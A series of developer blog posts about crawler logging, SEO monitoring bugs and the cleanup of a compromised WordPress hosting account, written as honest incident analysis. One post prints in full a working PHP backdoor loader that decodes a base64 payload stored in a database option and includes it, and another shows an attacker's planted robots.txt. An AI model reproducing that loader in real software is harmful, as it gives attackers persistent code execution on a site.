DEV Community: Hammad Shams Uddin

Three of twenty pages are indexed. Here is what ten days of my own crawler log says about why.

Hammad Shams Uddin — Thu, 08 Oct 2026 17:45:05 +0000

I run a site with 6,100 URLs in its sitemap. Google downloaded that sitemap three days ago, no warnings, no errors. Today I inspected twenty randomly chosen pages from it, one API call each:

  3  Submitted and indexed
 11  Crawled - currently not indexed
  6  URL is unknown to Google

Fifteen per cent. And the six "unknown" ones are the interesting part: they are listed in a sitemap Google has, and Google has never fetched them at all.

What Search Console shows, and what it hides

The performance numbers for the last 28 days: 85 impressions, 5 clicks. Sixty of those 85 impressions are the homepage. The top queries are not tool queries:

software & it services                  3 impressions   position 5.7
software services                       3               position 2.0
software house near me for freshers     2               position 1.0

That is a calculator site ranking for "software house near me". The pages that would answer a real query — the converters, the calculators — are not in the index to be shown.

Ninety days, by week, tells the rest:

week	impressions	clicks
W31	13,683	24
W32	24,082	39
W33	68,834	35
W34	27,317	23
W35	191	3
W36–W40	31, 32, 18, 21, 12	~1 each

The cliff between W34 and W35 is where a compromise was cleaned up. Note the clicks column during the peak: 68,834 impressions produced 35 clicks, a CTR of 0.05%. Those impressions were never real demand — they were the attacker's invented URLs appearing in results. Losing them cost almost nothing. What has not come back is everything else.

The log the host does not give you

Search Console is two days behind and rounds everything into weekly shapes, so last week I gave the site its own crawler log: one line per crawler request — time, crawler, the status it was served, path, IP — and nothing at all for human visitors. Ten days in:

day	Googlebot	bingbot	of which 410
29 Sep	45	1,077	982
30 Sep	66	4,114	3,914
1 Oct	55	2,660	2,487
2 Oct	22	2,903	2,708
3 Oct	41	3,832	3,616
4 Oct	19	3,967	3,776
5 Oct	22	4,255	4,056
6 Oct	22	4,976	4,795
7 Oct	40	4,527	4,389

Two numbers to take from that table.

Googlebot fetches about 37 pages a day. In ten days it fetched 221 distinct real URLs, all 200s. Against a 6,100-URL sitemap, a single complete pass at that rate takes about five months. That alone explains the six "unknown to Google" pages in my sample of twenty: nothing is wrong with them, Google simply has not got there, and at this rate it will not get there soon.

bingbot fetches about 4,000 dead URLs a day, and that number is going up. Those are the URLs a cloaker invented during the compromise — a word, a slash, a word with digits between its letters — about 291 of them handed to every crawler that asked for a page, for six days.

I was wrong about the fix

Four days into this log I switched those dead URLs from 404 to 410 Gone, which tells a crawler to drop the URL rather than check again later. I then wrote that the daily count was "pointing the right way": 3,914 → 2,487 → 1,653.

It was not. Those were two partial days at either end of a four-day sample. Ten days later the sequence reads 3,914, 2,487, 2,708, 3,616, 3,776, 4,056, 4,795, 4,389 — flat to rising. A 410 does tell Bing to drop that URL, but it does nothing to the rate at which Bing works through a queue of nine thousand others, and I had read a trend into a sample too short to hold one. I have left the original numbers in that post with a correction under them, because deleting them would make my reasoning look better than it was.

What the two instruments say together

Google is crawling — steadily, slowly, only real pages, every one a 200. There is no technical blockage: no 403s, no 404 storm, no cloaking, a clean sitemap fetch three days ago.
Google is not indexing what it crawls: 11 of 20 sampled pages are "crawled, currently not indexed", most last crawled in August.
Bing is crawling thirty times more than Google and spending 94% of it on URLs that have been gone for a month.

"Crawled — currently not indexed" is a judgement, not a fault. There is no header to add and no file to fix; it means Google fetched the page and decided it was not worth a slot. For a page that converts hectares to acres, competing with a hundred thousand identical pages, that judgement is not unreasonable, which is the uncomfortable part.

So the work is not technical any more. It is the slower kind: fewer, better pages, and reasons for anyone to link to them.

If you want the same two numbers for your own site

Measure indexation, do not estimate it. site: queries in a browser are a lossy approximation. The URL Inspection API gives you a verdict per URL, and twenty of them is a sample that will tell you something real in ten minutes.
Know how big your sitemap actually is before you argue about crawl budget. Mine says 6,100 across 54 child sitemaps, which is not a number I would have guessed; a sitemap generator that walks your own site will tell you what you are really asking Google to read.
Look at the result you are competing for. Before writing another near-duplicate page, put the title and description into a SERP preview and ask whether that line would get clicked next to nine others exactly like it. If the honest answer is no, indexing is not your bottleneck.

Bing spent 94% of four days crawling a hacker''s URLs. Google spent none.

Hammad Shams Uddin — Fri, 02 Oct 2026 16:09:00 +0000

Four days ago I gave my site its own crawler log, because the host keeps access logs somewhere a script cannot read them and Search Console answers two days late. Here is the first full read of it.

bingbot            9,629 hits     bytespider   357
googlebot            183 hits     yandexbot     94

And the status codes those two were served:

day	bingbot 200	bingbot 410	googlebot 200	googlebot other
29 Sep (from 15:51)	70	982	45	—
30 Sep	198	3,914	66	—
1 Oct	172	2,487	54	1× 404
2 Oct (to 16:03)	123	1,653	17	—

9,036 of bingbot's 9,629 requests — 94% — were to URLs that do not exist. 9,015 of them were distinct. Every one has the same shape: a dictionary word, a slash, a word with digits pushed between its letters.

They are not Bing's fault. In September this site was compromised, and the malware handed every crawler that asked for a page roughly 291 invented URLs. It did that for six days. The malware has been gone for weeks; the queue it created is still being worked through, at about two thousand requests a day.

Googlebot, over the same four days: 183 requests, 135 distinct real pages, and not one spam URL. Two crawlers, the same site, the same week, completely different pictures. If I had only Search Console I would have had neither.

What changed in those four days

On the 29th those dead URLs were answering 404. A 404 means not here right now, which is an invitation to come back. I switched the cloaker's URL shape to 410 Gone — stop asking — after checking the pattern against every URL in my sitemap (9 of 9 known spam paths matched; 0 of 6,240 real ones did).

The daily 410 count since: 3,914 → 2,487 → 1,653. The last day is two-thirds of a day, so it is not yet a trend I would bet on, but it is the first number I have had at all.

Correction, 8 October. It was not a trend, and I should not have printed those three numbers in that order. With ten days instead of four, the daily 410 count reads 982 (part day), 3,914, 2,487, 2,708, 3,616, 3,776, 4,056, 4,795, 4,389, 3,274 (part day) — flat to rising, not falling. The "decline" was two partial days at either end of a short sample, which is exactly the shape I warn about elsewhere in this post. A 410 tells a crawler to drop a URL; it does not slow down the rate at which it works through a queue of nine thousand others, and ten days was not long enough to see the first effect either. I have left the original numbers above rather than quietly editing them.

The rule itself lives inside the 404 handler, not at the top of the router. That ordering is the whole safety argument: a request only reaches notFound() once it has failed to match anything real, so a live route cannot be caught by the pattern — and one of mine, /s/{code}, has exactly the same shape as the spam.

"Unverified" was hiding two different facts

I had the log check each crawler's IP against the published address ranges — Google's googlebot.json, Bing's bingbot.json — and report verified against unverified. A reader of the first write-up, who runs the same check over nginx logs, pointed out that my split quietly merged two things that are not alike:

a request that failed the list: claims to be Googlebot, is not in Google's ranges — suspicious;
a request with no list to check: Anthropic publishes no ranges at all, so a ClaudeBot hit can never be more than unchecked — not suspicious, just unknowable.

Collapsing those is the same error as calling an unreachable sitemap "empty", which this project has made more than once. So there are three counters now, and the digest prints what it actually knows:

googlebot          183 hits (178 verified, 5 FAILED the list)
yandexbot           94 hits (94 no published list)
claudebot           39 hits (39 no published list)
google-inspection    2 hits (2 FAILED the list)

The same reader made a second point I have taken: these lists move, so a verification you made today will not reproduce against next month's list. The cache now keeps a dated snapshot of every list it fetches, sixty days of them, which costs a few hundred kilobytes and makes an old answer checkable.

Those 5 Googlebot hits that failed the list are all mine, and I had to look at the addresses to know it: two came from my laptop testing with a spoofed agent, and three from the server itself — my own daily cloaking check, which asks for the homepage as Googlebot and compares it against the homepage as a browser. My monitoring impersonates Googlebot for a living, so of course it fails a Googlebot address check. The log recorded all five exactly as it was told, which is the point: a user agent is a claim, and a claim is not an identity.

If you want the same visibility

You do not need a log pipeline. Roughly 120 lines of PHP: match the user agent against a list of crawler tokens, append one line at shutdown — time, crawler, status served, path, IP — and never write a line for a human. Then:

Count distinct paths, not requests. 9,629 hits sounded like a crawl-rate problem; 9,015 distinct dead URLs is a completely different diagnosis. Any list of lines will collapse to its unique entries in a second, and the gap between the two numbers is usually where the story is.
Check what you are telling crawlers to skip. Mine already blocks the training crawlers I want blocked and nothing else — worth confirming rather than assuming, because a Disallow in the wrong user-agent group reads as harmless and is not.
Log the status you served, not the path requested. The interesting line is never "Googlebot asked for X". It is "Googlebot was given a 404 for X".

Three weeks after the site was clean, most of one search engine's attention was still going to the attacker's imagination. Nothing in Search Console would have told me that, and nothing in my code was telling me either — until the site started writing it down.

I gave my site an access log. Within a minute it showed Bing crawling a hacker''s URLs.

Hammad Shams Uddin — Tue, 29 Sep 2026 16:00:54 +0000

My host keeps access logs in a control panel I have to click through, and nowhere a script can read them. So after September's compromise I could not answer the one question that mattered — are the crawlers coming back, and what are they being served? — except by waiting two days for Search Console to round it into a weekly shape.

So I gave the site its own log. About 120 lines of PHP: if the user agent names a known crawler, append one line at shutdown with the time, the crawler, the status code it was actually served, the path and the IP. Humans are never written to it.

The first day's output, in full, from the first minute:

15:51:01  bingbot  200  /calculators/pace-calculator          40.77.167.123
15:51:34  bingbot  404  /stimulated/a0d3o2b2o25378994         40.77.167.123
15:51:36  bingbot  404  /harshly/p0o9s1i9t9i3o7n38906         40.77.167.123
15:51:38  bingbot  404  /disservice/u1n6g2u8e5s4670872        40.77.167.123
15:51:40  bingbot  404  /dictation/g0o6g3g2l3e3e1y3e0264      40.77.167.123
15:51:41  bingbot  404  /coadjust/v1i4m1i5n4a2r1i8a6529       40.77.167.123
15:51:48  bingbot  404  /selfapproving/p1r3e2l1e9c2t1e3d9648  40.77.167.123
…

By the end of the day: 24 of 26 crawler requests were to URLs a cloaker invented three weeks earlier.

Those paths are not random junk. They are the exact shape the malware generated — a dictionary word, a slash, a second word with digits pushed between its letters — and it handed about 291 fresh ones to every crawler that asked for a page, for six days, before the site was cleaned. The malware has been gone for weeks. The queue it created has not.

404 was the wrong answer

Every one of those URLs was returning 404, which is correct in the sense that they are not there. But 404 means not here right now, and crawlers treat it as a reason to come back and check again later. That is why they are still working through a list from three weeks ago.

410 means gone; stop asking. Both Google and Bing drop a 410 faster than a 404, and the difference is exactly the behaviour I want.

The risk in a rule like this is obvious: match too broadly and you 410 something real. So I wrote the shape, then measured it before it went anywhere near the site:

$rule = function (string $path): bool {
    $seg = explode('/', trim($path, '/'));
    if (count($seg) !== 2) return false;
    $s = $seg[1];
    if (strpos($s, '-') !== false) return false;     // our slugs are hyphenated
    if (strlen($s) < 10) return false;
    return preg_match_all('~[0-9]~', $s) >= 4
        && preg_match_all('~[a-z]~i', $s) >= 4;
};

Result: 9 of 9 known spam paths matched, 0 of 6,240 real URLs did.

One more precaution, and it is the part I would get wrong if I were rushing. The rule does not run at the start of routing. It runs at the end, inside the 404 handler — the place a request only reaches once it has failed to match anything real:

function notFound(): void
{
    // …if the path has the cloaker's shape, 410 instead of 404…
    http_response_code(410);
    header('X-Robots-Tag: noindex');
    exit;
}

That ordering is not decoration. My site has a /s/{code} short-link route: two segments, no hyphen, letters and digits — it matches the shape. Put the rule first and every short link a user shares becomes 410 Gone. Put it last, and a live route can never be caught by it, because a live route never reaches the 404 handler at all.

Verified on the live site afterwards:

/accidence/d0e3p2o6s2i8t6a6r8y548   410      (cloaker shape)
/no-such-page                        404      (ordinary typo)
/s/a1b2c3d4e5                        302      (short link, still works)
/tools/json-formatter                200

The log lied to me once on day one

One line said googlebot 200 /. I was pleased for about ten seconds, until I looked at the IP: 39.34.131.166 — my own network. It was me, testing with a spoofed user agent earlier that afternoon. The log had recorded exactly what it was told, which is all a user agent ever is: a claim anybody can type.

So the log now checks the claim against the crawlers' own published address lists — Google's googlebot.json and special-crawlers.json, Bing's bingbot.json, cached for a day — and reports both numbers:

bingbot     25 hits (25 verified, 0 unverified)
googlebot    1 hit  (0 verified, 1 unverified)

And the alarm that says "Googlebot has not come" now counts verified visits only, because an alarm that can be silenced by anyone typing Googlebot into a user agent string is not an alarm.

If you are running this kind of check yourself: your crawler's status codes are what it believes about your site, so log what was served, not what was requested. And if you end up needing to retire a batch of URLs permanently, an .htaccess rule is the cheaper place to do it than in application code — as long as you have measured the pattern against your real URLs first.

Three weeks after the cleanup, most of my crawl budget was still being spent on the attacker's imagination. I only know that because the site finally started writing things down.

My monitoring said 26 pages were broken. Every one of them was fine.

Hammad Shams Uddin — Fri, 25 Sep 2026 19:02:18 +0000

This morning's report from my own daily checker opened like this:

NEEDS YOU — 27 thing(s)
  * / returns HTTP 403 but had 33 impressions
  * /es/tools/text-summarizer returns HTTP 403 but had 11 impressions
  * /tools/text-to-slug returns HTTP 520 but had 11 impressions
  … 23 more …
  * sitemap.xml returned nothing usable

Twenty-six pages and the sitemap. The homepage among them. My first thought was that the host had suspended the account — SSH to the box was timing out at the same moment, which fitted.

Every one of those pages was serving normally.

What the site was actually doing

Before touching anything I measured the same URL through different clients. Forty requests, alternating, same minute:

client	result
curl sending a Chrome user agent	20 of 20 → 403
curl sending Googlebot's user agent	20 of 20 → 200
real headless Chrome	5 of 5 → 200, full content
curl sending `curl/8.0`	mixed, mostly 200

Read that table twice. The requests that claimed to be a browser were refused. The request that claimed to be Googlebot was served. An actual browser was served. So the site was fine for humans, fine for Google — and hostile to exactly one population: things that say "Chrome" without being Chrome.

That is not a fault. That is bot protection at the edge doing its job. Cloudflare-style protection compares what a client claims against how it behaves, and a curl request wearing a Chrome user agent is the oldest impersonation in the book. My checker had been making that exact request every morning for months, and the day the protection tightened, my checker became a bot to be blocked.

The 520s were the same story from a different angle: a proxy failing to get a clean answer from the origin, on requests that were being refused anyway.

The bug is not the block. It is the report.

The block is somebody else's defence working. The failure that cost me an hour is that my own script turned I was refused into the page is broken — twenty-six times, in a list headed NEEDS YOU.

Four changes, and they are all the same change:

1. Ask whether you can see, before saying what you see.

function seoCanSee(): array
{
    // fetch the homepage, then:
    if ($code === 200 && stripos($body, SEO_MARKER) !== false) {
        return ['ok' => true, 'code' => $code, 'why' => ''];
    }
    return ['ok' => false, 'code' => $code,
            'why' => 'the homepage answered HTTP ' . $code . ' to this script'];
}

If that fails, nothing downstream is allowed to report on individual pages at all. One line goes out — this script cannot reach the site; page, sitemap and robots checks did NOT run; a browser and Googlebot may well be served normally — and the per-page loop never runs.

2. Look at the body, not only at the status. A 403 from my application would carry my page. A 403 from the edge carries the edge's page. Same integer, different fact:

if (($st['code'] === 403 || $st['code'] === 520) && !$st['ours']) { $edgeBlocked++; continue; }

3. Report one fact once. The blockage is upstream of every page, so it is one line — 3 pages could not be checked: our own edge answered 403 to this script — not one alarm per page. Twenty-six alarms for one cause is how a NEEDS YOU list becomes wallpaper.

4. Check what your loudest alarm does when the probe is blocked. Mine compares the homepage as Googlebot sees it against the homepage as a browser sees it, and shouts CLOAKING if they differ — the alarm that means your site is hacked. With browser-UA requests being refused, the "browser" side was a 403 page, whose <title> is 403 Forbidden. Two different titles. That alarm was one edge-rule away from telling me I had been hacked again, three weeks after I actually had been. Now a response that is not my page is not a comparison — it is "did not see it".

After all four: 27 items became 4, and the four are true.

If you are chasing the same ghost

Three things worth doing before you believe your own monitoring:

Load the page in a real browser. Not curl with a browser string — an actual browser. If it renders, your users are fine and your problem is your client.
Look at what your client is really sending. Your checker, your CI job, your uptime probe: each one has a user agent, and it may not be what you think. See exactly what a client sends, then make your script say something honest rather than dressing up as Chrome.
Read the whole response, not the code. The headers a URL actually returns will usually name the thing that answered — server: cloudflare, x-turbo-charged-by: LiteSpeed, a cf-ray id — and that tells you whether you reached your application or something standing in front of it.

The uncomfortable part is that none of this was a site problem for a single minute. Every visitor and every crawler was served the whole time. The only thing that was down was my ability to tell.

My check said "all 17 articles". There were 18.

Hammad Shams Uddin — Tue, 22 Sep 2026 17:52:44 +0000

Every morning a script of mine fetches each of my published articles and checks that the outbound links are still followed. Yesterday's run ended with this line:

dev.to: links on all 18 published articles are still followed.

Today's run, same script, nothing removed:

dev.to: links on all 17 published articles are still followed.

I had published one article since. The honest number was 18 and rising. The word doing the damage is all.

The loop

foreach ($articles as $a) {
    if (empty($a['published']) || empty($a['url'])) { continue; }

    $html = DevTo::fetch((string) $a['url']);
    if ($html === '') { continue; }        // <-- here
    $checked++;

    // …find every link to my site, look at its rel attribute…
}

// later
$did[] = 'links on all ' . $checked . ' published articles are still followed.';

One article did not come back — a throttle, a hiccup, it does not matter. The loop skipped it, $checked stayed where it was, and the summary printed $checked as if it were the total.

So the sentence was not "17 of 18 are fine, 1 is unknown". It was "all 17", which asserts something about a set I never measured. The one article that could have gone bad was precisely the one that was not looked at, and the report was worded to sound most confident about exactly that gap.

Why the denominator is the whole thing

$checked answers "how many replied". The summary claims to answer "how many exist and are fine". Those are the same integer only when nothing fails, which is the one case where you do not need the check.

A count of successes cannot describe a set unless you also carry the size of the set:

$checked   = 0;
$unchecked = [];

foreach ($articles as $a) {
    if (empty($a['published']) || empty($a['url'])) { continue; }

    $html = DevTo::fetch((string) $a['url']);
    if ($html === '') { sleep(2); $html = DevTo::fetch((string) $a['url']); }
    if ($html === '') { $unchecked[] = (string) $a['url']; continue; }
    $checked++;
    // …
}

$total = $checked + count($unchecked);

Now the report can say what actually happened: links still followed on 17 of 18; 1 could not be fetched twice and was NOT checked. And when most of them fail, that is no longer a quiet line at the bottom of an email — it is escalated, because a check that could not run is not a check that passed.

This is the third time

The same shape has bitten this project three times in a month, in three different files:

where	what it printed	what was true
sitemap check	"1 of 54 child sitemaps is empty"	the child was throttled, not empty
robots.txt check	passed, six days running	it was reading an attacker's planted file
link check	"all 17 articles"	there were 18; one was never fetched

Every one of them turned I could not measure this into I measured this and it is fine. That direction of error is the dangerous one: a false alarm gets investigated, a false all-clear gets filed.

So I wrote the test as a source check rather than a behaviour test, because the bug lives in a shape, not in a value:

foreach ($lines as $n => $l) {
    if (!preg_match('~^\s*if \(\$html === .{2}\) \{ *continue; *\}~', $l)) { continue; }
    $silentSkips[] = sprintf('line %d drops a page without recording it: %s', $n + 1, trim($l));
}
$check('no fetch failure is skipped without being counted', $silentSkips, []);

I put the old line back to make sure the test fails on it, then took it out again. It fails on the bug and passes on the fix — which is the only way to know a regression test is a test and not decoration.

Three questions worth asking your own reports

What is the denominator? If a line says "all N", find where N comes from. If N is a counter that increments on success, the word "all" is a lie waiting for a bad day.
Can it tell "nothing failed" from "nothing was checked"? Zero failures out of zero attempts prints the same as a clean run. Report failures against attempts.
Does the count come from the source of truth or from the transport? The number of URLs you have comes from your list — for a site, the sitemap itself, which you can pull into a plain list of every URL and count — not from how many of them your script happened to load. Then check each one's status code against that list, so the two numbers stay separate and the gap between them stays visible.

The fix is four lines. The habit is harder: when a script tells you everything is fine, ask it how many things it actually looked at.

invalid_grant: my service account was fine. My laptop's clock was three days slow.

Hammad Shams Uddin — Sun, 20 Sep 2026 21:50:41 +0000

My daily SEO round emails me one digest. This morning it led with this:

NEEDS YOU — 5 thing(s)
  * Search Console could not be read today.
  ...

SEARCH CONSOLE — COULD NOT READ
  Token request failed (HTTP 400): {"error":"invalid_grant",
  "error_description":"Invalid JWT: Token must be a short-lived token
  (60 minutes) and in a reasonable timeframe. Check your iat and exp
  values in the JWT claim."}

invalid_grant is the error you get when a credential is wrong, so that is where I went first: had the service account been disabled, had someone rotated the key, had I lost access to the property? I had spent six days cleaning a compromised hosting account the week before, so "the key is gone" was not a paranoid thought.

All of that was the wrong question, and the report had already told me so. I just had not read the line above the error.

The header was the evidence

The digest's own title line said:

Utilorax SEO — Thu 17 Sep 2026

That date is generated by the script at run time, from the machine it runs on. I asked something with an authoritative clock what day it was:

$ curl -sI https://www.google.com | grep -i '^date:'
Date: Sun, 20 Sep 2026 21:03:40 GMT

Three days apart. The machine that signed the token thought it was the 17th.

Why that is fatal to a signed token, and to nothing else

Here is the part of my client that builds the assertion:

$now   = time();
$claim = self::b64url((string) json_encode([
    'iss'   => $sa['client_email'],
    'scope' => self::SCOPE,
    'aud'   => $sa['token_uri'],
    'exp'   => $now + 3600,
    'iat'   => $now,
]));

There is no bug in it. iat is now and exp is an hour from now — exactly what Google asks for. But now is whatever the machine says it is, and the machine was saying Thursday. So Google received a token that claimed to have been issued three days ago and to have expired two days and twenty-three hours ago. It refused, and its refusal named the two fields it was unhappy with: iat and exp. The error text was a precise description of the fault. I read it as a category — "auth error" — instead of as a sentence.

The giveaway I walked past: every other check in the same run was fine. IndexNow checked what had changed and correctly sent nothing, dev.to answered, the sitemap's 54 children were counted, the AI model probe came back. Not one of them signs anything, so not one of them cares what time my laptop thinks it is. The only check that broke was the only one holding a stopwatch.

Two minutes that would have saved an hour

If you get invalid_grant from a Google, Apple or AWS token endpoint, before you touch the key:

Compare your clock to theirs. curl -sI https://www.google.com | grep -i ^date costs nothing and answers the question outright.
Read the token you actually sent. The assertion is a JWT, so paste it into a JWT decoder and look at the payload rather than at your code. Your code says what you meant; the token says what you sent.
Turn iat and exp into dates. They are Unix seconds, which are unreadable on sight — 1789938294 looks like every other ten-digit number. A Unix timestamp converter turns them into a date you can compare to today's, and the gap is either zero or your whole answer.

Rule of thumb worth internalising: a signed short-lived token is a claim about time, so a rejected one is as likely to be a clock complaint as a credential complaint. The word invalid_grant is doing double duty for both, which is why the error_description — not the error — is the field to read.

The one thing that went right

The round did not print zero impressions. It said Search Console could not be read today, kept the section, and put the raw HTTP body in it.

That distinction has bitten this project repeatedly in the other direction: a sitemap check that reported unreachable children as empty, a robots.txt check that passed for six days on an attacker's file, a fetch failure that arrived as "no data". Every one of them turned a failure to measure into a measurement. Here the instrument said it was blind, said why, and handed me the sentence that contained the answer.

I still needed three days of wrong clock before I read that sentence properly. But I got to read it, which is the whole difference.

(The clock has since resynced on its own. The same round, re-run: Search Console read, 46 pages snapshotted, nothing owed.)

The backdoor was a database row

Hammad Shams Uddin — Mon, 14 Sep 2026 16:30:53 +0000

I cleaned a compromised hosting account on 5 September and wrote down, with some satisfaction, that it was done. On 11 September I found the rest of it.

The part that bothers me is not that I missed something. It is why I missed it: I had built three scanners, and the thing they were looking for was not in any file.

What a file scanner was asked to find

This is the file that mattered, in full. 420 bytes, sitting where a WordPress core file should be:

<?php

require_once $_SERVER['DOCUMENT_ROOT'] . '/wp-load.php';

$encoded = get_option('_codehidden');

if (!empty($encoded)) {
    $code = base64_decode($encoded, true);
    if ($code !== false) {
        $tmp = tmpfile();
        if ($tmp !== false) {
            fwrite($tmp, $code);
            $meta = stream_get_meta_data($tmp);
            include $meta['uri'];
            fclose($tmp);
        }
    }
}

No obfuscation. No eval. No hex-escaped strings, no goto spaghetti, no variable function names. It reads well. Every one of my signature checks looked straight at it and had nothing to say, because there is nothing in it to flag — the malicious part is a row in wp_options, and the file is just the thing that fetches it.

The row held 9,784 bytes of base64. Decoded: 7,338 bytes, whose first line is eval(base64_decode('...')) and whose inner layer reads HTTP_HOST, HTTP_ACCEPT_LANGUAGE and HTTP_REFERER and picks a remote host from a list of ROT13'd domains. A cloaker — the same kind that had been serving a Japanese shopping page to Googlebot from the main site. Stored in the database, so grep -r across 161,762 files finds exactly nothing.

The only authority that worked

The file was one of ~2,000 in a WordPress install, and it looked plausible. What caught it is that WordPress publishes the md5 of every file it ships:

https://api.wordpress.org/core/checksums/1.0/?version=7.1&locale=en_US

That gives a map of path => md5 for the whole core. Three questions fall out of it, and the third is the one that mattered:

foreach ($sums as $path => $md5) {
    if (!is_file("$root/$path"))          { $missing[]  = $path; }   // deleted
    elseif (md5_file("$root/$path") !== $md5) { $modified[] = $path; }   // changed
}
// and the other direction: anything under wp-admin/ or wp-includes/
// that the checksum list has never heard of
foreach ($onDisk as $path) {
    if (!isset($sums[$path])) { $foreign[] = $path; }
}

Across 18 installs on the account: 15 came back clean, and the three that did not told me exactly where to look. The loader showed up as MODIFIED. Three empty .php files in invented directories — wp-includes/blocks/5HJlg/block/wp-utility.php and friends, all chmod 777 — showed up as FOREIGN. Another site was missing 74 core files, which is why it had been answering 500 to every visitor.

This is the difference between a signature and an authority. My signatures encode what I imagine malware looks like. The checksum list encodes what the software is. Only one of those keeps working when the attacker writes something I did not imagine.

Two things I got wrong, out loud

I cleared a file because it was not obfuscated. On 5 September I read the site's wp-login.php, saw no eval, no base64, no hex, and moved on. The checksums flagged it. The diff turned out to be two blank lines and a missing newline — so my conclusion was right, no credential stealer — but my reason was worthless. "It does not look like malware" is not evidence. I only knew the file was clean once something authoritative told me what it should be.

I wrote a scanner rule that was certain and wrong. It flagged images containing PHP, which is a real technique:

if ($isImg && preg_match('~<\?php|<\?=|eval\s*\(~i', $s)) { /* CERTAIN */ }

That reported 277 files, labelled CERTAIN, across ordinary stock photos and one of Advanced Custom Fields' own PNGs. <?= is three bytes. In a 700 KB binary, three particular bytes turn up by chance constantly. Retested with the five-byte <?php alone: zero. Nothing was deleted on that basis, but only because I checked before acting — and I had labelled the rule CERTAIN, which is precisely the label that invites not checking.

What the database knew that the filesystem did not

Once I was reading the database, the rest of the story was there:

lms   patilari       31 Aug 05:53
lms   suxexnob        4 Sep 05:45     1 live session
lms   root_1n84gk9    4 Sep 07:13:21  2 live sessions
lms   jalejsul        8 Sep 09:09
site2 patilari       31 Aug 07:05:04
site2 root            2 Sep 01:25:30

Administrator accounts. root_1n84gk9 was created in the same minute as those 777 files. patilari appears on two unrelated sites, and on the second one a file-manager plugin was installed nine seconds after the account existed. And jalejsul is dated 8 September — three days after I declared the account clean.

That last row is the whole lesson. I had removed their files. They still had a way in, and it was never a file.

What I would take from it

Prefer an authority to a signature. For WordPress that is the checksums API; for your own code it is a manifest you generated somewhere the attacker cannot reach. A signature list only finds malware that resembles malware you have already seen.
Grep the datastore too. Anything that can be included can be stored: a row, an object-cache entry, a serialised option, an S3 key. A scanner that only walks a filesystem is auditing half the machine.
When you label a check CERTAIN, go and verify it once on real data — before you build anything that acts on it automatically. Mine would have deleted 277 innocent photos.
Clean does not mean cleaned. After an incident, re-verify against something the attacker could not have touched. A baseline taken on a compromised system certifies the compromise.

I build Utilorax, a set of free browser-based tools. If you want to check a file against a published hash without installing anything, the MD5 hash generator runs entirely in your browser — the file never leaves your machine.

My robots.txt check passed for six days on an attacker's robots.txt

Hammad Shams Uddin — Fri, 11 Sep 2026 05:15:36 +0000

Every morning a script checks my site's health and emails me. One of its lines, for six days running:

Fine. Sitemap index lists 54 child sitemaps holding 6,240 URLs in total,
robots.txt points at it, and every page earning impressions answers 200.

For those six days, this was my robots.txt:

User-agent: *
Allow: /

Sitemap: https://utilorax.com/?sitemapindex.xml
Sitemap: https://utilorax.com/?sitemap249.xml
Sitemap: https://utilorax.com/?sitemap476.xml
Sitemap: https://utilorax.com/?sitemap531.xml
Sitemap: https://utilorax.com/?sitemap458.xml
Sitemap: https://utilorax.com/?sitemap522.xml
Sitemap: https://utilorax.com/goods.php?sitemap806.xml

None of those are mine. goods.php is the giveaway: it is the shape of a Japanese shop-spam campaign, and the site had been hit by exactly that — a cloaker serving Googlebot a clothing store while people saw the real site. I cleaned that up on 5 September and wrote down, with some satisfaction, that the site was clean.

It was not. The cloaker had left a second thing behind, and every instrument I had built to catch the first one looked straight at it and said fine.

The check

$robots = (string) @file_get_contents('https://utilorax.com/robots.txt');
if (!str_contains($robots, 'Sitemap:')) {
    $problems[] = 'robots.txt does not point at a sitemap';
}

It asks whether robots.txt mentions a sitemap. The attacker's file mentions seven. It passed with a margin.

This is the same bug as a login check that verifies a password field is non-empty. The test was written against the failure I imagined — someone deleting the Sitemap line by accident — and not against the failure that happened, which is someone replacing it on purpose. A check for the presence of a field passes on anyone's field.

How a static file beat a dynamic one

My real robots.txt is not a file. index.php generates it, so the sitemap URL always matches the host:

if ($path === 'robots.txt' || /* sitemap*.xml */ ...) {
    Sitemap::handle($path);
    exit;
}

and .htaccess sends a request there only when no real file exists:

RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^ index.php [L]

So dropping a plain robots.txt into the web root does not fight the generator. It simply wins, silently, because that is what !-f means. There is no conflict to notice.

The file itself had been dressed for the job:

-r--r--r--  356 bytes   Jul 7 2024   robots.txt

Read-only, so a careless cleanup would fail. And dated July 2024 — on a domain registered in July 2026. The only file on the server older than the project, and the only file outside vendor/ set to 444.

Three instruments, one blind spot each

What bothers me is not that one check was weak. It is that I had built three, after the hack, specifically so this could not happen again — and each one had a different reason to wave it through.

The health check tested for a string the attacker supplied.

The integrity monitor hashes every static file and reports anything that changes. I took its baseline after the cleanup — so the planted robots.txt went into the baseline as a known-good file. From then on, the monitor's job was to guarantee the attacker's file stayed exactly as they left it. It did that perfectly.

A baseline taken on a compromised system does not detect the compromise. It certifies it.

The off-server verifier compares live files against git and lists anything on the server that git does not know about. On 5 September it listed robots.txt. I read the list, saw a handful of expected runtime files — caches, a ratings database, a speed-test payload — and filed robots.txt with them, because a site having a robots.txt looked normal.

It was the only item on that list that could not legitimately exist. The real one is generated; a file by that name should never be on disk at all. The verifier was right and I explained it away.

What changed

The check now asks whose sitemap, and treats a file existing as the finding:

preg_match_all('~^\s*Sitemap:\s*(\S+)~mi', $robots, $sm);
$ours    = 'https://utilorax.com/sitemap.xml';
$foreign = array_filter($sm[1], fn($u) => rtrim($u) !== $ours);

if (!in_array($ours, $sm[1], true)) { $problems[] = 'robots.txt does not list our sitemap'; }
if ($foreign)                       { $problems[] = 'robots.txt lists sitemaps that are not ours'; }
if (is_file($webRoot . '/robots.txt')) {
    $problems[] = 'a static robots.txt exists — the real one is dynamic, so this is shadowing it';
}

The verifier has a separate section for static files that shadow a generated route, so it cannot be mistaken for runtime clutter again. And a failed fetch is reported as not evaluated today, rather than as no sitemap — the old code turned an empty response into the same message as a real problem, which is part of how I found this: a false alarm made me open the actual file.

And then the fix was invisible

I deleted the file, fetched /robots.txt, and got my real one back. Then the new check ran and fired again:

*** robots.txt lists 7 sitemap(s) that are not ours ***

I had tested with a cache-busting query string. The plain URL — the one crawlers request — was coming from the CDN:

cf-cache-status: HIT
Cache-Control: max-age=14400

The origin was fixed. The edge was still serving the attacker's file, for up to four more hours, to every crawler that asked. If I had kept the old string check, it would have passed that too.

What I would take from it

Three things, and none of them are about robots.txt:

Test for the right value, not for a value. "Is there a sitemap line" and "is it our sitemap line" differ by exactly one attacker.
Never baseline a system you have just cleaned without first proving it against something the attacker could not touch. My proof was git, and I read its answer too quickly.
